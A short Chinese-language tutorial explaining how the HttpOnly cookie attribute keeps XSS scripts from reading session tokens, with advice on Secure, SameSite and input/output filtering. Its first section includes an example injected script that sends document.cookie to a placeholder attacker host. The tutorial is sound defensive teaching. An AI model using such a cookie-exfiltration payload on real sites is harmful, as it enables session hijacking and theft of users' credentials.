HttpOnly 是怎么防止 XSS 攻击的？

1. 什么是 XSS（跨站脚本攻击）

XSS（Cross-Site Scripting） 是一种常见的前端安全漏洞。攻击者通过在网页中注入恶意 JavaScript 代码，借此窃取用户敏感信息或劫持用户会话。常被窃取的目标包括：

• 登录用的 token / session ID
• 用户的 Cookie
• 页面上的隐私数据（表单内容、个人信息等）

示例（攻击者注入的脚本）：

<script>
  // 将当前页面的 cookie 发到攻击者服务器
  fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

这个脚本直接读取 document.cookie 并把值发送出去，因此如果会话凭证存储在普通 cookie 或可被 JS 访问的存储中（如 localStorage），就会被窃取。

---

2. 设置 HttpOnly 后的防护效果

如果将敏感的 token（比如 refresh_token）以 cookie 形式存储，并在服务端设置 HttpOnly 属性，例如：

Set-Cookie: refresh_token=abc123; HttpOnly; Secure; SameSite=Strict

则表示：

• 浏览器禁止 JavaScript 访问该 cookie （即不会将其暴露给 document.cookie）。
• 因此，即使页面被 XSS 脚本注入，攻击者也无法通过脚本读取该 cookie 的值，从而有效防止凭证被直接窃取。

需要注意的是：

• HttpOnly 阻止的是JavaScript 读取 Cookie 的能力，但浏览器在发起请求时仍会自动带上该 Cookie（正常的后端鉴权仍然有效）。
• 为了更全面防护，建议同时使用 Secure（仅 HTTPS 传输）和 SameSite（防 CSRF）等属性，并结合输入校验、输出转义等手段防止 XSS 植入。

---

小结

• 未设置 HttpOnly 的 Cookie ：可被 document.cookie 读取，易被 XSS 窃取。
• 设置 HttpOnly 的 Cookie：不可被 JavaScript 读取，能有效阻断 XSS 对凭证的直接窃取。
• 但 HttpOnly 不是万能：仍需配合 HTTPS、SameSite、CSRF Token、严格的输入输出过滤等安全措施，构建多层防护体系。

---